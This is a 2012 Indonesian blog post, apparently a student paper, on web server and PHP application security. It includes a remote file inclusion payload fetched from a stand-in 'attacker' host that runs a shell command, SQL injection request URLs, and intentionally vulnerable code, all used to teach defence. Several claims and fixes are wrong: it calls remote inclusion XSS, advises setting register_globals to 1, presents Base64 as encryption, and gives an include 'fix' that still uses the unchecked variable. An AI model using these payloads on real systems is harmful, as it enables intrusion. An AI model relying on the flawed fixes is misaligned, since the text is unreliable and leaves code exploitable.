Kamis, 18 Oktober 2012

keamanan sistem komputer



BAB 1
PENDAHULUAN
1.1 latar belakang
Dewasa ini, tidak ada sisi kehidupan manusia yang tidak menggunakan komputer,. Akibatnya, timbul suatu kebutuhan security untuk sistem komputer. Kita telah banyak mendengar kejadian pada dunia komputer, khususnya jaringan Internet, yang menghadapi serangan virus, worm, Trojan, DoS, Web deface, pembajakan software, sampai dengan masalah pencurian kartu kredit. Oleh karena sistem keamanan komputer sangat krusial, suatu usaha pencegahan dan pendeteksian penggunaan komputer secara tidak sah juga diperlukan. Dengan membuat sistem keamanan computer maka kita akan melindungi data agar tidak dapat dibaca oleh orang yang tidak berhak dan mencegah agar orang yang tidak berhak tidak menyisipkan atau menghapus data. makalah ini akan menceritakan konsep dasar dari suatu sistem keamanan komputer, khususnya yang berbasis pada Internet. Materi yang dibahas meliputi dasar mengapa kita perlu peduli terhadap keamanan, mengenal dunia underground, cracker dan hacker, membahasa cara membangun firewall sebagai perlindungan dari kejahatan Internet, antisipasi dan strategi keamanan, sistem keamanan yang berbasis pada Internet, strategi backup hingga membuat policy. Makalah ini layak menjadi pedoman Anda yang bergelut di dunia computer baik sebagai pemerhati, praktisi, mahasiswa, bahkan masyarakat umum.
Setiap harinya server-server yang terkoneksi 24 jam ke Internetselalu menghadapi ancaman dari para hacker atau Internet freakslainnya dengan „niatan‰ kriminal tertentu atau juga untuk memberimasukan akan adanya celah keamanan di berbagai serversekaligus beserta sistem operasinya. Masalah keamanan merupakan salah satu aspek penting dari sebuah sistem informasi,sayang sekali masalah keamanan ini seringkali kurang mendapatperhatian dari para pemilik dan pengelola sistem informasi.Jatuhnya informasi ke tangan pihak lain (misalnya pihak lawan bisnis) dapat menimbulkan kerugian bagi pemilik informasi.Sebagai contoh, banyak informasi dalam sebuah perusahaan yanghanya diperbolehkan untuk diketahui oleh orang-orang tertentu didalam perusahaan tersebut, seperti misalnya informasi tentangproduk yang sedang dalam pengembangan serta algoritmaalgoritmadan teknik-teknik yang digunakan untuk menghasilkan produk tersebut. Untuk itu keamanan dari sistem informasi yangdigunakan harus terjamin dalam batas yang dapat diterima.

Jaringan komputer seperti LAN dan Internet memungkinkantersedianya informasi secara cepat. Ini salah satu alasanperusahaan atau organisasi mulai berbondong-bondong membuat LAN untuk sistem informasinya dan menghubungkan LAN tersebutke Internet. Terhubungnya LAN atau komputer ke Internetmembuka potensi adanya lubang keamanan (security hole) yang
tadinya bisa ditutupi dengan mekanisme keamanan secara fisik.Berkembangnya WWW dan Internet menyebabkan pergerakansistem informasi untuk menggunakannya sebagai basis. Banyaksistem yang tidak terhubung ke Internet tetapi tetap menggunakan web sebagai basis sistem informasinya yang dipasang di jaringan Intranet. Untuk itu, keamanan sistem informasi yang berbasis web dan teknologi Internet bergantung kepada keamanan sistem web tersebut. Arsitektur sistem web terdiri dari dua sisi: server dan client. Keduanya dihubungkan dengan jaringan komputer (computer network). Selain menyajikan data-data dalam bentuk statis, system web dapat menyajikan data dalam bentuk dinamis dengan menjalankan program. Program ini dapat dijalankan di server (misal dengan CGI atau servlet) dan di client (applet, atau Javascript). Sistem server dan client memiliki permasalahan yang erbeda. Keduanya akan dibahas secara terpisah.


BAB II
LANDASAN TEORI

1.1  KEAMANAN SERVER WWW
Keamanan server WWW biasanya merupakan masalah dari seorang administrator. Dengan memasang server WWW di system Anda, Anda membuka akses (meskipun secara terbatas) pada orang luar. Apabila server Anda terhubung ke Internet dan memang server WWW Anda disiapkan untuk publik, Anda harus lebih berhati-hati sebab Anda membuka pintu akses ke seluruh dunia. Server WWW menyediakan fasilitas agar client dari tempat lain dapat mengambil informasi dalam bentuk berkas (file) atau mengeksekusi perintah (menjalankan program) di server. Fasilitas pengambilan berkas dilakukan dengan perintah GET, sementara mekanisme untuk mengeksekusi perintah di server dapat dilakukan dengan CGI (Common Gateway Interface), Server-side Include (SSI), Active Server Page (ASP), PHP, atau dengan menggunakan servlet (seperti penggunaan Java Servlet). Kedua jenis servis di atas (mengambil berkas biasa maupun menjalankan program di server) memiliki potensi lubang keamanan yang berbeda. Adanya lubang keamanan di system WWW dapat dieksploitasi dalam bentuk yang beragam, antara lain: 
a.        Informasi yang ditampilkan di server diubah sehingga dapat mempermalukan perusahaan atau organisasi Anda (dikenal dengan istilah deface).
b.      Informasi yang semestinya dikonsumsi untuk kalangan terbatas (misalnya laporan keuangan, strategi perusahaan Anda, atau database client Anda) ternyata berhasil disadap oleh saingan Anda (ini mungkin disebabkan salah setup server, salah setup router/firewall, atau salah setup autentikasi).
c.        Informasi dapat disadap (seperti misalnya pengiriman nomor kartu kredit untuk membeli melalui WWW atau orang yang memonitor kemana saja Anda melakukan web surfing).
d.      Server Anda diserang (misalnya dengan memberikan request secara bertubi-tubi) sehingga tidak bisa memberikan layanan ketika dibutuhkan (Denial of Service Attack).
e.        Untuk server web yang berada di belakang firewall, lubang keamanan di server web yang dieksploitasi dapat melemahkan atau bahkan menghilangkan fungsi firewall (dengan mekanisme tunneling).


2.2 WEB SERVER DAN DATA BASE SERVER
            Web Server dan database server bagaikan jantung dan otak dari organisme Internet. Dua komponen ini menjadi komponen pokok dari sebuah aplikasi Internet yang tangguh dan tepatlah keduanya menjadi target hacker. Dalam beberapa kasus kita harus dapat menentukan titik-titik lemah dalam aplikasi tersebut yang bias menjadi sasaran penyerang. Ada beberapa server yang sering digunakan dalam dunia web Internet, yaitu Apache dari Apache Software Foundations dan IIS dari Microsoft. Web server berfungsi untuk mendengarkan setiap request pada jaringan dan menjawabnya kepada si pengirim permintaan dengan membawa data tertentu.
                                                                                                                            

2.3 Apache
Apache telah menjadi web server terpopuler saat ini. Server Apache telah bekerja pada semua platform seperti NetBSD, UNIX, AIX, OS/2, Windows, HPUX, Novell Netware, Macintosh, BeOS,FreeBSD, IRIX, dan Solaris. Ada banyak versi Apache sampai saat ini, setiap versi berisi fitur-fitur seperti:
1.  Host Virtual. Memungkinkan sebuah komputer untuk berhubungan dengan sejumlah besar web server pada saat yang bersamaan sehingga satu buah komputer yang menjalankan satu web server dapat melayani banyak halaman dari beragam situs web.
2. Server-side Includes. Perintah-perintah yang ada dalam halaman Web HTML yang menyediakan fungsi server-side. SSI serupa dengan CGI yang secara khusus digunakan untuk membuat sebuah halaman web yang dinamis. Situs web sering mengaktifkan fitur ini untuk mengerjakan file berekstensi.shtml dan mengendalikan SSH.
3. Halaman Web Dinamis dari CGI. Suatu mekanisme orisinil yang dikembangkan untuk mengirimkan isi data yang dinamiske web.
4. Handler, Pengendali untuk mengendalikan beragam request pada web berdasarkan nama file. File-file tertentu seperti .asp dan seterusnya. Handler bersifat built-in dan megendalikan isi data statis seperti HTML.
5. Variabel Lingkungan.
6. Pemetaan URL ke sistem file.

2.4 Internet Information Service (IIS)
Produk dari Microsoft dalam jajaran web servernya, namun saat ini IIS tergeser dominasinya dengan Apache yang lebih berdaya guna. Sudah menjadi rahasia umum bahwa sistem keamanan di sisi IIS sangat rentan, ini bisa dilihat dari sisi aplikasi-aplikasi Internet Server Applications Programming Interface (ISAPI). ISAPI membuka kesempatan pengembang untuk memperluas keguanaan server IIS dengan membuat program mereka sendiri untuk mengolah dan mengendalikan data dan request yang dikirim. Hal ini berarti meningkatkan kontrol atas request.
Secara default IIS menginstal ISAPI yang digunakan untukVmendobrak IIS. Dengan menambah fitur yang dimiliki ISAPI berarti menambah kekhawatiran rentannya keamanan seperti filter .ldq dan .ida yang ternyata bertanggung jawab atas masuknya worm Nimda dan CodeRed. Worm tersebut menyebabkan kondisi buffer overflow pada ekstensi *.ida. Worm ini mengekplotasi kelemahan server indeks .ida sehingga membuka kesempatan bagi penyerang untuk mengirimkan request ke web server dan menyebabkan overflow DLL yang mengendalikan request. Penyelesaian masalah filter ini adalah tetap mengikuti semua security patch dari Microsoft dan menerapkan yang cocok.

2.5 Bahasa Pemrograman Internet
Ada banyak bahasa web yang populer di dunia Internet seperti HTML, DHTML, XML, XHTML, Perl, PHP, ASP, Cold Fusion, dan lain-lain. HTML merupakan framework Internet, hampir semua situs web yang ada menggunakan HTML untuk menampilkan teks, grafik, suara, dan animasinya. Dengan kemudahannya, HTML banyak digunakan. Hal ini memungkinkan seorang intruders untuk mencari vurnerability dari sisi bahasa ini. Ada banyak actions dalam HTML seperti <form>, <form actions>, <form method>, <input>, <apllet>, dan lain-lain. Turunan dari HTML adalah eXtensible Markup Language (XML) yang lebih bersifat terbatas dibandingkan dengan elemen-elemen HTML yang telah distandarisasi dan ditentukan. Pusat perhatian perluasan elemen ini adalah Document Type Definitions (DTD). Perl atau Practical Extraction and Report Language merupakan bahasa pemrograman tingkat tinggi. Perl sangat tangguh dan fleksibel karena ia dapat digunakan untuk menulis program yang bersifat server-side, menjalankan fungsi-fungsi lokal pada suatu sistem, atau digunakan untuk aplikasi standalone. PHP atau Personal Home Page awalnya digunakan untuk mencatat pengunjung yang membuka halaman tertentu. PHP merupakan bahasa server-side yang paling banyak digunakan untuk membuat aplikasi standalone yang tidak terkait dengan web.
Kelemahan PHP dan Perl sama, yaitu bila script memproses input dari browser web untuk query database seperti sistem, passthry shellxec, exec, atau server-side includes (SSI), penyerang dapat melakukan sanitasi variable input untuk mengesekusi yang tidak diinginkan.Cold Fusion adalah sistem yang dikembangkan oleh Allaire yangmemiliki tiga komponen utama: Application Server, MarkupLanguage, dan Studio. CFM serupa dengan HTML yang mempunyai tag yang sangat luas seperti koneksi ke database dan dukungan Post. Kelemahannya, penyerang yang jago dalam pemrograman tidak akan mengalami kesulitan untuk mengetahui isi database dengan perintah query. ASP (Active Server Page) dibuat oleh Microsoft untuk lingkungan scripting server-side dan diciptakan khusus untuk server-side Internet Information Sistems (IIS). ASP mengkombinasikan HTML, code scripting, VBScript, dan komponen ActiveX server-side untuk menciptakan isi yang dinamis. Di balik semua itu sudah menjadi rahasia umum bahwa Windows dengen server IIS banyak mempunyai lubang kelemahan yang dapat dimanfaatkan oleh penyusup. ASP hadir dengan dua dasar, yaitu server-side dan client-side. Form server-side hadir dalam bentuk kode-kode ASP dengan tag dan form client-siden-ya dalam bentuk HTML.

Contoh pemrograman dengan ASP dengan cara server-side dan
client-side:
<html>
<head>
<title> ASP Pertamaku</title>
</head>
<body>
<%
Dim halos
halos = "Hallo dieksekusi dari server"
Response.Write(halos)
%>
<hr>
<script language=VBScript>
Dim haloc
haloc = "Hallo dieksekusi dari client"
Document.Write(haloc)
</script>
</body>
</html>


Saat dieksekusi, di browser akan tampak script dari ASP denganmenampilkannya lewat Notepad. Dua solusi dasar bagi keamanan ASP: buanglah sampel-sampel file dari direktori yang terinstal secara default dan sanitasikan atau bersihkan field inputnya.

2.6 Keamanan pada Aplikasi
Web dengan PHP Vulnerability atau kelemahan keamanan pada PHP bias dikarenakan kesalahan pada program script PHP yang kita buat atau pada konfigurasinya. Program PHP itu sendiri kita jalankan sebagai modul atau CGI (vulnerability bawaan) dan program web server yang akan berinteraksi dengan program PHP.
1. Kode PHP yang tidak diparsingKita sering kali meng-include file kode PHP untuk kemudahan scripting, misalnya memisahkan kode PHP yang berisi fungsi, class, atau konfigurasi dengan kode PHP untuk implementasinya. Kode PHP yang dipisahkan tersebut kemudian dipanggil dengan fungsi include(), include_once(), require(), atau require_once(). Jika include file adalah kode PHP yang akan dieksekusi, pastikanlah file tersebut diparsing sebagai file PHP, misalnya config.inc.php, atau jika ingin menggunakan ektensi .inc maka pastikan konfigurasi web server membuat file tersebut di-parsing sebagai file PHP. Tambahkan script agar ketika file diakses secara langsung oleh user maka hanya akan didapatkan baris kosong atau akan langsung di-redirect ke halaman lain.

if ( $_SERVER['PHP_SELF'] ) {
header("Location: ../index.html');
}
Anda juga dapat melakukan setup pada web server agar tidak dapat me-request file berekstensi .inc, misalnya pada Apache kita dapat menambahakan konfigurasi seperti ini:
<Files ~ "\.inc$">
Order allow, deny
Deny from all
</Files>

Hal tersebut di atas dilakukan untuk menghindari attacker mendapatkan source code file karena file dikirim tanpa diparsing. Jika attacker bisa mendapatkan file source code maka akan membuat mudah bagi mereka untuk mencari lubang kemanan di aplikasi.

2. Variabel auto global
Banyak aplikasi PHP yang memiliki lubang keamanan yang berasal dari kemampuan varibel autoglobal. Oleh karenanya mulai versi 4.3.1 PHP sudah membuat default autoglobal pada php.ini bernilai off. Tentu saja sebenarnya kelemahan keamanan bukan berawal dari varibel autoglobal, tapi dari kelalaian programmer. Sebenarnya dengan adanya fasilitas autoglobal pada varibel, programmer diberikan kemudahan, tapi memudahkan pula terjadinya lubang keamanan. Dengan fasilitas ini suatu varibel misalnya $x tidak perlu dideklarasikan dahulu dan bias merupakan varibel session, varibel cookie, dan varibel dari GET/POST. Lubang kemanan tersebut bisa mengakibatkan:
.. Denial of Service
.. Authentication failure
.. Account hijacking
.. Perusakan tampilan/layout
.. Implementasi virus web browser
.. dan lain-lain
Kebanyakan lubang keamanan pada aplikasi PHP adalah akibat varibel autoglobal ini adalah aplikasi yang open source sehingga user dapat mengetahui kode aplikasi dan mengetahui nama-nama varibel yang digunakan. Dengan sedikit trik security through obscurity sebenarnya kita agak terlindungi dari akibat fasilitas varibel autoglobal ini. Bersiap-siaplah untuk belajar pemrograman dengan security in mind.

3. Fungsi include(), require() atau fopen()
Akibat mekanisme autoglobal, suatu varibel dalam PHP menjadi tidak jelas jenisnya. Jenis variabel jadi tidak bias dibedakan atara variabel dari GET/POST, varibel dari ENVIRONTMENT, atau varibel dari COOKIES/SESSION. Akibatnya, suatu variabel apa saja yang kita definisikan dapat dengan mudah kita isi dengan nilai dari varibel GET atau POST. Kelemahan biasanya muncul ketika varibel untuk parameter fungsi include(), require() atau fopen()digunakan. Kita tahu bahwa dengan fungsi tersebut kita dapat melakukan eksekusi/parsing file PHP dari file lain, baik pada file dari disk lokal atau file dari situs lain. Jika varibel untuk parameter fungsi tersebut diketahui, attacker dapat mengganti nilai varibel tersebut dengan mengirimkan nilai varibel lewat metode GET atau POST. Contoh di bawah ini adalah vulnerability akibat menggunakan varibel pada fungsi include(). Perhatikan kode dibawah ini:
include($phpgw_info["server"]["include_root"]."/phpgwapi/phpg
w_info.inc.php");

Kode tersebut tidak aman karena walaupun menggunakan varibel array, variabel $phpgw_info masih dapat diganti dengan varibel GET/POST dari client atau diganti dengan sebuah URL lain, misalnya http://attacker/phpgwapi/phpgw_info.inc.php di mana file phpgw_info.inc.php dapat berisi kode PHP yang bias dieksekusi oleh server korban/victim, misalnya berupa kode:
<?php
$phpcode = 'echo("Hi there!<BR>");passthru("id");';
if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) ==
"PHP")
echo("<?php $phpcode ?>");
else
eval($phpcode);
exit();
?>

Kejadian seperti di atas, di mana suatu kode PHP dari situs lain diambil agar dieksekusi di server korban sering disebut Cross Site Scripting (XSS).
Ada beberapa pencegahan dari kelemahan ini seperti jangan meng-include atau sejenisnya dengan parameter sebuah varibel, misalnya include($file) atau include($dir."file.php"). Jika hal ini terpaksa dilakukan, gunakan filter dengan regular expression untuk mengecek varibel tersebut. Contoh:
$file = eregi_replace("/^http:\/\/.+/","",$file);
$file = eregi_replace("/^(\.\./)/","",$file);
include($file);
Atau, gunakan pengkondisian seperti ini:
if ( $file == "about" ) {
$filex = "ab/index.php";
} elseif ( $file == "member" ) {
$filex = "member/index.php";
} else {
$file = "index.php";
}
include($file);
4. Kondisi varibel yang tidak jelas Proses autentikasi ataupun autorisasi seringkali dilakukan dengan mengecek kondisi yang membandingkan varibel GET/POST yang diberikan user atau varibel dari session/cookie dengan suatu nilai. Misalkan suatu halaman melakukan otentifikasi dengan kode seperti di bawah ini:
<?php
session destroy()
session_start();
$session_auth = "admin";
session_register("session_auth");
?>
dan kemudian sebuah halaman menggunakan autorisasi dengan cara mengecek varibel session_auth seperti ini:
<?php
if (!empty($session_auth)) {
// Kode jika autorisasi berhasil disini
}
?>

Kode pengecekan tersebut tidaklah aman, sebab dengan mudah attacker dapat mengakses halaman tersebut dengan URL seperti http://victimhost/page.php?session_auth=1 yang dapat membuat kondisi pada if di atas menjadi TRUE. Kesalahan pemrograman seperti ini juga terjadi pada jenis varibel dari GET/POST varibel cookie. Sebagai solusinya, aturlah konfigurasi auto_global menjadi off pada file php.ini dan mulailah memprogram dengan pendefinisian varibel yang jelas, misalnya $_GET, $_POST, $_COOKIE atau $_SESSION.
if ( $_POST['username'] == $user && $_POST['password'] ==
$pass ) {
/* ... */
}
Jika tidak punya akses ke php.ini, gunakan fungsi ini_set():
ini_set("register_globals", 1);
5. SQL Injection
Akibat lain dari varibel autoglobal adalah eksploitasi dengan SQL Injection. SQL injection berarti memanipulasi suatu query atau memasukan suatu query dengan menggunakan query lain. Cara ini dapat dilakukan karena pada program yang dibuat terdapat query yang menggunakan varibel. Di bawah ini adalah contoh request yang mencoba melakukan SQL Injection pada query yang memiliki varibel $search. 
http://localhost/search.php?search=a%27%20order%20by%20time%20desc%3b%20[query]
Varibel $search di atas bernilai "a‰ order by time desc; [query]". [query] dapat berisi SQL query baru yang lengkap yang membahayakan, misalnya query untuk menghapus database/tabel. Di bawah ini adalah contoh bagaimana terjadinya account thijacking dengan cara. SQL Injection terjadi pada aplikasi portal PHP-Nuke dan Post-Nuke. Query pada kode di bawah ini tidak aman karena ada variabel yang nilainya diambil dari cookie. Oleh karena cookie disimpan di client, user dapat dengan mudah mengganti cookie-nya.
/* kode pada modules/News/article.php */
if ($save AND is_user($user)) {cookiedecode($user);
sql_query("update ".$user_prefix."_users set umode='$mode',"
"uorder='$order', thold='$thold' where uid='$cookie[0]'",
$dbi);
getusrinfo($user);
$info =base64_encode("$userinfo[uid]:$userinfo[uname]:$userinfo[pass]:".
"$userinfo[storynum]:$userinfo[umode]:$userinfo[uorder]:".
"$userinfo[thold]:$userinfo[noscore]");
setcookie("user","$info",time()+$cookieusrtime);
}

Kesalahan pada kode di atas adalah pada bagian eksekusi query where uid=„$cookie[0]‰ yang mengambil varibel untuk uid dari cookie. Untuk mengeksploitasi vulnerabity ini maka kita perlu membuat account (valid user) untuk melewati if($save AND is_user($user)), kemudian mengubah cookie dengan pada bagian username, men-base64-encode cookie, kemudian melakukan request dengan save=1 pada article.php lewat modules.php. Contoh lain adalah DoS dengan menggunakan metode SQL Injection pada situs PHPNuke dengan requestsepertiini:
http://www.XXXX.com/modules.php?name=News&file=article&sid=1234%20or%2011
6. Session Spoofing
Mekanisme session pada PHP tidak dilakukan dengan cara yang cukup aman. Ketika suatu session dibentuk, misalnya saat user login, maka sebuah file untuk menyimpan data variabel session dibuat dan akan tetap ada sebelum session didestroy. Session file tersebut dibuat pada direktori yang didefinisikan pada php.ini sebagai session.save_path. Pada UNIX biasanya direktorinya adalah /temp/, sedangkan padaWindows adalah sessiondata pada direktori di mana PHPdiinstal. Kita juga dapat mengonfigurasi PHP agar menyimpan sessionnya pada database dengan session_set_save_handler. Tentu saja solusi ini tidak terlalu baik, tetapi paling tidak sudah memberi pekerjaan lebih buat attacker. Sebagai tambahan, jika kita ingin menyimpan data yang krusian di session misalnya password, kita dapat melakukan enkripsi varibel sebelum varibel tersebut disimpan pada session, misalnya: minimal dengan Base64 encoding. Session spoofing juga dapat terjadi akibat tidak amannya cara penampilan suatu halaman PHP.

2.7 Keamanan Program CGI
Common Gateway Interface (CGI) digunakan untukmenghubungkan sistem WWW dengan software lain di server web. Adanya CGI memungkinkan hubungan interaktif antara user dan server web. CGI seringkali digunakan sebagai mekanisme untuk mendapatkan informasi dari user melalui fill out form, mengakses database, atau menghasilkan halaman yang dinamis.
Meskipun secara prinsip mekanisme CGI tidak memiliki lubang keamanan, program atau skrip yang dibuat sebagai CGI dapat memiliki lubang keamanan (baik secara sengaja dibuat lubang keamanannya ataupun tidak sengaja). Pasalnya, program CGI ini dijalankan di server web sehingga menggunakan resources web server tersebut.

2.8 Serangan Lewat URL
URL merupakan sebuah mekanisme untuk mengenali sumbersumber pada web, SSL, atau server FTP, termasuk protokol layer aplikasi yang membuat request ke server Web seperti contoh URL http://www.coba.com/images/hardware/pda.html. URL tersebut dapat dijelaskan per bagian. File pda.html sedang di-request oleh protokol HTTP dari sebuah server bernama www.coba.com. Lokasi pda.html dalam ruang situs tersebut adalah pada direktori
/images/hardware. Contoh lainnya seperti: https://www.coba.com/order/buy.asp?item=A003&pmt=visaKemungkinan besar URL di atas dapat dimanfaatkan hacker. Dugaan pertama bisa ditarik dari nama sumbernya, buy.asp.Ekstensi .asp menandakan bahwa file ini adalah ASP. File-file ASP berjalan secara khusus pada web server Microsoft, yaitu IIS. Dengan demikian kemungkinan besar www.coba.com berjalan pada Windows NT/2000/XP. Biasanya sistem seperti ini menggunakan Backoffice database
                                             
2.9 Kesalahan pada Mesin Proxy
Penyerang bisa saja memanfaatkan kelamahan pada mesin proxy. Oleh karena penyerang tidak dapat menembus pertahanan server utama maka penyerang mengatur cara untuk mendapatkan akses ke proxy server yang juga meng-host salinan dari halaman erb yang asli, memeodifikasi halaman web pada staging area (wilayah tempat penyusunan dan persiapan) menyebabkan suatu situs bias dirusak dan diganti-ganti isinya melalui replikasi otomatis. Titik entri yang pertama dan terlemah untuk memasuki jaringan adalah melalui port proxy HTTP. Port ini biasanya digunakan untuk melewatkan request proxy HTTP pada proxy server ke dalam jaringan walaupun situs web yang di-host pada server diproteksi oleh suatu mekanisme autentikasi password HTTP, namun penyerang dapat mencoba-coba dengan cara bruce force attack untuk mendapatkan user name dan password. Maka dari itu, administrator harus mematikan percobaan memasukkan password yang salah, misalkan sebanyak tiga kali secara terus-menerus. Ada banyak tool untuk men-crack password secara remote diantaranya adalah brutus, WebCracker, dan lain-lain.

2.9.1 Akses Database
Database telah lama menjadi bagian integrasi dalam menjalankan bisnis. Keperluan atas penyimpanan dan pengakesan informasi secara cepat menjadi hal yang mendesak bagi tiap bisnis saat ini. Aplikasi-aplikasi web saat ini berpasangan erat dengan database yang digunakan untuk beragam kegunaan, mulai dari menyimpan nama-nama user dan password untuk akses resmi, sampai untuk menyimpan alamat-alamat surat user dan informasi kartu kredit untuk mempermudah pembayaran. Maka dari itu pemahamam keamanan bukan hanya meliputi jaringannya saja, tapi juga akses databasenya dan yang terpenting memahami bagaimana penyerang memasuki aplikasi untuk memperoleh akses ke bagianbagian datanya. Microsoft SQL Server dan Oracle dapat diakses secara default pada jaringan internal, dengan kata lain jika konfigurasi firewall tidak dikonfigurasi dengan baik maka akan membuka kesempatan penyerang untuk masuk ke koneksi database. Terbukanya TCP dan UDP 1434 (Microsoft SQLServer) atau TCP 1521 (Oracle) dapat menjadi jalan untuk memata-matai databasekita. Sebagai tool-nya, dapat digunakan Fscan dan Foundstone,SQLPing2. Tool-tool ini memungkinkan penyerang untukmengetahui alamat IP mesin SQL.

Jika si penyerang mempunyai kemampuan menerobos databasemaka tidaklah susah bagi penyerang tersebut untuk masuk ke server SQL dan melakukan perubahan, penghapusan, dan lainlain. Keamanan database merupankan satu dari sekian banyak metodologi yang sering diabaikan dan tidak dikembangkan. Untuk melengkapi dan memperketat kebijaksanaan atas keamanan database.

2.9.2 Keamanan Client WWW
Pada bagian terdahulu dibahas masalah yang berhubungan dengan server WWW. Dalam bagian ini akan dibahas masalah-masalah yang berhubungan dengan keamanan client WWW, yaitu pemakai (pengunjung) biasa. Keamanan di sisi client biasanya berhubungan dengan masalah privasi dan penyisipan virus atau Trojan. Pelanggaran Privasi. Ketika kita mengunjungi sebuah situs web, browser kita dapat „dititipi‰sebuah cookie yang fungsinya adalah untuk menandai kita. Ketika kita berkunjung ke server itu kembali, server dapat mengetahui bahwa kita kembali dan server dapat memberikan layanan sesuai dengan keinginan (preference) kita. Ini merupakan servis yang baik, namun data-data yang sama juga dapat digunakan untuk melakukan tracking kemana saja kita pergi. Ada juga situs web yang mengirimkan script (missal Javascript) yang melakukan interogasi terhadap server kita (melalui browser) dan mengirimkan informasi ini ke server.

2.2.3 Web Server Security
World Wide Web merupakan sistem pertukaran informasi melalui Internet. Web dibangun melalui sebuah program yang dinamakan web server. Saat ini WWW telah merambah ke seluruh sendi kehidupan, termasuk bisnis, pemerintahan, pendidikan, keagamaan, sosial, dan budaya. Agar informasi yang kita buat dalam sebuah halaman web dapat dilihat pengguna Internet maka dibutuhkan suatu mesin web server yang akan melayani permintaan dari user yang mengaksesnya. Seperti yang telah digambarkan di awal bab ini, ada beberapa web server yang digunakan seperti Apache dan IIS. Saat ini Apache merupakan pilihan yang paling banyak digunakan untuk server yang berbasis UNIX/LINUX walaupun Apache juga dapat dijalankan di Windows. Dengan dukungan open source maka penyebaran Apache semakin cepat dari tahun ke tahun.
Server-server web dirancang untuk menerima beragam request dari host bebas di Internet dan menjadi pintu gerbang publik atau personal. Untuk membangun sebuah secure server dalam berbagai platform harus diperhatikan beberapa hal penting, misalnya user tidak pernah mengeksekusi sembarang program atau perintah shell dalam server dan script CGI yang berjalan dalam server.
Ada beberapa hal penting dalam menjaga dan membangun web server yang aman, di antaranya adalah:
.. Mengerti tentang pembagian akses UID (User ID)
.. Mengerti struktur direktori server
.. Membuat script dan program CGI secara aman
.. Mengembangkan strategi password
.. Mencatat semua aktivitas yang terjadi
.. Waspadai kegiatan browser user
.. Perhatikan HTTP dan Anonymous FTP
.. Nonaktifkan service-service (daemon) yang tidak penting
.. Perhatikan port-port yang terbuka

2.9.4 Tindakan-Tindakan Antisipasi
Setelah membicarakan secara garis besar kemungkinan yang dilakukan hacker untuk menyusup ke server kita, pengidentifikasian teknologi memainkan peran penting dalam dunia hacking web karena hacker bisa memilih senjata yang cocok untuk menyerang.


BAB III
PENUTUP
3.1 Kesimpulan
Masalah keamanan merupakan salah satu aspek penting dari sebuah sistem informasi,sayang sekali masalah keamanan ini seringkali kurang mendapatperhatian dari para pemilik dan pengelola sistem informasi.Jatuhnya informasi ke tangan pihak lain (misalnya pihak lawan bisnis) dapat menimbulkan kerugian bagi pemilik informasi. Keamanan server WWW biasanya merupakan masalah dari seorang administrator. Dengan memasang server WWW di system Anda, Anda membuka akses (meskipun secara terbatas) pada orang luar. Apabila server Anda terhubung ke Internet dan memang server WWW Anda disiapkan untuk publik, Web Server dan database server bagaikan jantung dan otak dari organisme Internet. Dua komponen ini menjadi komponen pokok dari sebuah aplikasi Internet yang tangguh dan tepatlah keduanya menjadi target hacker. Ada banyak bahasa web yang populer di dunia Internet seperti HTML, DHTML, XML, XHTML, Perl, PHP, ASP, Cold Fusion, dan lain-lain.
            Common Gateway Interface (CGI) digunakan untukmenghubungkan sistem WWW dengan software lain di server web. Adanya CGI memungkinkan hubungan interaktif antara user dan server web. CGI seringkali digunakan sebagai mekanisme untuk mendapatkan informasi dari user melalui fill out form, mengakses database, atau menghasilkan halaman yang dinamis. Penyerang bisa saja memanfaatkan kelamahan pada mesin proxy. Oleh karena penyerang tidak dapat menembus pertahanan server utama maka penyerang mengatur cara untuk mendapatkan akses ke proxy server yang juga meng-host salinan dari halaman erb yang asli.
 Database telah lama menjadi bagian integrasi dalam menjalankan bisnis. Keperluan atas penyimpanan dan pengakesan informasi secara cepat menjadi hal yang mendesak bagi tiap bisnis saat ini. World Wide Web merupakan sistem pertukaran informasi melalui Internet. Web dibangun melalui sebuah program yang dinamakan web server. Saat ini WWW telah merambah ke seluruh sendi kehidupan, termasuk bisnis, pemerintahan, pendidikan, keagamaan, sosial, dan budaya.